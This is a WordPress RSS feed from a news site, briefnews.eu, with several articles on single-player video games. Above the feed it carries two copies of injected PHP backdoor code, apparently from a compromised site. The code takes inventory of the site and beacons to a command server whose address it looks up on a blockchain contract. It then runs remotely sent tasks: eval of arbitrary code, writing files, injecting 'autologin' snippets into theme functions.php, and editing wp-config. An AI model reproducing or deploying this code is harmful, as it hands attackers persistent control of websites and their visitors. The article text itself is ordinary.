// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); singleplayer – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 19 May 2018 00:57:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png singleplayer – Brief News https://briefnews.eu 32 32 Yes, ‘Call of Duty”s Single-Player Campaign Will Be Missed https://briefnews.eu/yes-call-of-dutys-single-player-campaign-will-be-missed/ https://briefnews.eu/yes-call-of-dutys-single-player-campaign-will-be-missed/#respond Sat, 19 May 2018 00:57:48 +0000 http://briefnews.eu/yes-call-of-dutys-single-player-campaign-will-be-missed/ ‘Black Ops 4’ may not mark the permanent death of single-player options in the entire franchise, but it’s sad news nonetheless


https://media.wired.com/photos/5aff53b2997b9441ce0b0e1a/master/pass/CoD_SinglePlayerGone.jpg

]]> https://briefnews.eu/yes-call-of-dutys-single-player-campaign-will-be-missed/feed/ 0 PC Gaming Weekly: Paradox loves single-player games https://briefnews.eu/pc-gaming-weekly-paradox-loves-single-player-games/ https://briefnews.eu/pc-gaming-weekly-paradox-loves-single-player-games/#respond Fri, 05 Jan 2018 06:44:32 +0000 http://briefnews.eu/pc-gaming-weekly-paradox-loves-single-player-games/

It’s fitting that our strategy game of the year comes from one of the most important publishers on the PC.

Steel Division: Normandy ’44 tops our list of the best strategy games of the year. It’s a worthy choice, and it showcases Paradox Interactive‘s approach to publishing on the PC. It came out in late May, and the Eugen Systems development team has already come out with an expansion and a slew of free content updates.

Of course, this shouldn’t surprise anyone. Paradox has a well-earned rep for supporting its games years after release. Europa Universalis IV came out in 2013, and the publisher released its 12th expansion for its grand-strategy masterpiecein November. Crusader Kings II is a year older than EU4, and it recently got its 14th expansion.

Since Steel Division hit, Eugen has included three new battlefields, six new units, two ace models, dedicated servers for multiplayer, a remastered first mission and effects, and an update that it made with the help of the community.

This doesn’t mean Steel Division will receive the same level of support. Its scope is smaller. But it’s encouraging that in this era of loot boxes and in-game transactions, publishers such as Paradox and Bethesda see the value in supporting massive single-player games’ traditional expansions.

For PC gaming coverage, send news tips to Jeff Grubb and guest post submissions to Rowan Kaiser. Please be sure to visit our PC Gaming Channel.

–Jason Wilson, GamesBeat managing editor

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]]> https://briefnews.eu/pc-gaming-weekly-paradox-loves-single-player-games/feed/ 0 Single-player games withstood World of Warcraft. They’ll survive PUBG, too https://briefnews.eu/single-player-games-withstood-world-of-warcraft-theyll-survive-pubg-too/ https://briefnews.eu/single-player-games-withstood-world-of-warcraft-theyll-survive-pubg-too/#respond Thu, 23 Nov 2017 08:12:53 +0000 http://briefnews.eu/single-player-games-withstood-world-of-warcraft-theyll-survive-pubg-too/

GUEST:

With the recent cancellation of Visceral’s single-player Star Wars game, shifting focus of big publishers on multiplayer games and more than stellar success of cooperative multiplayer games like PlayerUnknown’s Battlegrounds, gamers are starting to ask questions. Are single-player story-driven games dead? Do players want them contrary to what some big publishers say? Do they have big commercial potential? Is multiplayer the only future of gaming?

Different strokes

Multiplayer and single-player games are two quite different things, two quite distinct experiences. For the most part, they each cater to a different target group. You go for multiplayer games when you feel like competing, to get a quick buzz of some action, or to wake up your reflexes. You reach for a single-player game when you want a more immersive experience. Exploring new worlds, getting deeply involved in the adventure story of some interesting character, solving complex tasks, and getting not just your reflexes but the rest of your senses primed and honed. It’s arguably something like the difference between going to see the football match and going to the theater.

Which, of course, doesn’t mean that you can’t be a fan of both. You get to see some theatrical performances on the football pitch, or a drama on stage about football, but they remain two quite distinct worlds. They can interweave of course, and there’s no hard and fast boundary line. Likewise, you can have a multiplayer game with some crossover (Destiny), or a single-player game with multiplayer elements (Dark Souls).

But is interest in single-player games really in decline? Do all players want fast, repetitive, action-packed experiences, and nothing else? When you look at the recent charts of the most sought-after and best-selling games, the answer is clear; no way. Uncharted 4, Dishonored 2, The Last of Us, Rise of the Tomb Raider, Horizon: Zero Dawn, Persona 5, Hitman, Nier: Automata… Just a quick roundup of some of the most successful, most acclaimed, and most keenly awaited single player games of recent times. Their bigger open world relatives like Assassins Creed, Red Dead Redemption 2, GTAV, Witcher 3, Fallout 4, Zelda: Breath of the Wild or Divinity: Original Sin 2 are also doing quite fine. I don’t see how something so supposedly ‘dead’ could be so successful at the same time. Folks that want to play single-player haven’t just vanished.

So, where’s the problem? Why do some of us feel that single-player games are on the wane? Why do publishers argue that players are looking for other things?

Above: DOTA 2

Image Credit: Valve

Publishers are chasing the biggest hits

I’ve come across similar jitters several times in the past. After the massive success of the first MMORPG games, most notably World of Warcraft, it seemed for a moment that no one would be making anything except MMOs. After that, almost all the attempts to emulate WoW crashed and burned and the big publishers have come back to single-player games, while WoW is still with us to this day.

A few years later, after the success of DOTA and League of Legends, there was once again the huge boom of MOBA games. And once again, almost all of them have failed. And there sure were plenty out there.

So, when in 2009 or so I was going round looking for investors and publishers to raise money for Kingdom Come, which is a single-player story-based RPG, everyone wanted Facebook games and they were tapping their foreheads asking why on earth I wanted to do something with no future. The publishers were in panic mode, because for some unfathomable reason they were scared the new console games wouldn’t sell and everyone would be playing nothing but Candy Crush Saga on smartphones. It was like they thought that all those people that flood into E3 and Gamescom every year and spend huge sums on hardware would suddenly vanish or start playing pay-to-win things on their iPhones. Which had nothing to do with reality, of course. The new consoles went on to sell better than ever before.

Why is that? What makes online playing so appealing to publishers and why do so many of them end up paying the cost of their ambitious folly? And what’s the impact on the single-player story games? What is their main advantage over any multiplayer games? The answer is very simple. Long-term regular income and relatively low initial investment.

When that works out, your company will be in clover for a good few years. Another advantage is that you have control over the way the game develops and you can continuously improve it. Especially in the case of smartphone games you invest a smaller amount in the first version/prototype of the game, go for an open beta approach, and if it catches on, you keep funding it. You then constantly fine-tune the game based on feedback, and the built-in analytics, and when it all works out, that’s when you pile on the money and then just reap the rewards, adding new things to keep attention. That’s how many of the early access games on Steam are positioned: PUBG, ARK, H1Z1, DayZ.

Compare that with the single-player game, where you take a chunk of money, wait for a few years, and then, if it doesn’t sell within a month, you’re out of luck. You can’t do much to update the game that people are in the middle of playing, and so, after the initial sale, apart from some DLCs, it won’t keep bringing in the money for you.

That makes it look like a clear choice in favour of MMOs. Better risk spread, long-term profitability. What more could you want?

Opportunity costs both players and publishers

But there’s one little tiny detail. When everyone is spending hundreds of hours playing with one cash cow, and pouring money into it, they can’t at the same time spend their money on other cash cows. The number of players is limited, their time and money is, too. A player with a hundred dollars and ten hours of gaming time can either spend all their time and $ 100 on one game or spend $ 30 and less time each on three. That might not be quite what’s needed to keep the cash cow alive.

And so, every time a new trend comes along, the battle is on for pole position. There’s usually just one winner, and the losers go back to doing what they were doing before. And not surprisingly, it’s the big publishers that fight the big battles. Only they have the means to do something like that and it is largely they, the big corporations, who have the greatest interest in stable and lasting income. The entertainment business is fickle, success hangs on the momentary tastes of the public and it can be very tricky to predict. The one who launched a bestseller yesterday may have huge problems with the next title; that’s where a steady income helps. But the market only has room for a limited number of turf-owners, and so when the fight is done and the players make their choice, the rest will still gladly go back to doing something that, though it doesn’t earn as much, gives a much greater chance of making headway.

And that’s where single-player games are the best bet. While the MMO player will play one game all year, a single-player gamer will buy and play five. There’s a much greater chance that even a less-than-wow game will at least pay for itself, if it doesn’t bring in a windfall. The percentage of failed single-player games is relatively small, and if the game isn’t an out-and-out technical disaster, it will generally pay for its development, at least. What’s more, competition is quite weak at the moment. High-quality single-player story-driven games are few and far between, and there’s a hunger out there, which is the reason why they sell so well when something new does come out.

My own experience is just that. I’m a developer, and, of course, a gamer too. I like RPGs like Fallout, The Elder Scrolls, or Witcher. And these games sell in their tens of millions. But a similar (good) game only comes out once every two years. And so I said to myself, there’s definitely room on the market for another equally good title, and let’s do it. But when I went round the publishers, absolutely no one wanted to hear about any such game. Too risky, too niche, something that only company XY can make, we don’t deal in those kind of games. Finally, we went out on Kickstarter, as a way to get the game done. And as soon as we declassified and announced our venture, it turned out the number of gamers out there keen on something like this was quite huge. Almost instantly, we collected 1.8 million dollars, the game piqued media interest, and took its place among the most highly anticipated titles. Much the same happened with the new generation of consoles, which some people had almost written off.

Above: Kingdom Come: Deliverance by Warhorse Studios

Players still want single-player

Of course, none of this means our battle has been won yet. The game must be especially good to be successful. But now it’s all up to us, whether we can convert the interest we’ve gained; but in any case, I find it clear proof that single-player game fans have not disappeared anywhere and that they are eager to buy the next great thing after Uncharted, Assassins Creed, Witcher, or Red Dead Redemption. The gaming industry is a bit cagey to let them have such an experience though, because the people who control the money are too busy right now worrying which of them will win the war for the best cash cow for the next few years.

But the situation is far from tragic. We can’t quite see it yet, because game development is a long process and it takes a while to respond to new trends, but there are a few smaller publishers queuing up, who’ve made quite a bit of money in recent years and are focusing on niche genres, itching to fill the spaces left vacant by the megasaurs. And trust me, they have some games in development, you just don’t know it yet.

And so, as with the adventure games genre, whose demise was preannounced many times, and which has indeed has been producing some very high-quality titles recently, e.g. Telltale Games make a good living out of adventure games; single-player is not about to retire any time soon, either. It’s just that not every new game will necessarily be produced by multinational corporation like before, but by smaller indie teams, too. And when the mega-publishers find, as in the case of MMO, MOBA games and Facebook that the market is not infinitely inflatable, they will be only too glad to come back again, to produce a good old single-player hit. Capitalism tends to meet demand with supply.

Daniel Vávra is creative director and cofounder of Warhorse Studios, developers of the upcoming Kingdom Come: Deliverance.

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]]> https://briefnews.eu/single-player-games-withstood-world-of-warcraft-theyll-survive-pubg-too/feed/ 0 Single-player is the vestigial limb of publishers that had to adapt or die https://briefnews.eu/single-player-is-the-vestigial-limb-of-publishers-that-had-to-adapt-or-die/ https://briefnews.eu/single-player-is-the-vestigial-limb-of-publishers-that-had-to-adapt-or-die/#respond Wed, 18 Oct 2017 20:43:31 +0000 http://briefnews.eu/single-player-is-the-vestigial-limb-of-publishers-that-had-to-adapt-or-die/

ANALYSIS:

At some point last century, someone at the U.S. Department of Defense plugged a network cable into a computer. Cut to a few decades later, and Electronic Arts says it is canning a game because it doesn’t function as an online service. The publisher announced yesterday that it is closing Dead Space developer Visceral and canceling its linear, single-player Star Wars game. We talked about this bombshell news on the GamesBeat Decides podcast this week, and you can hear that by clicking play on the video above.

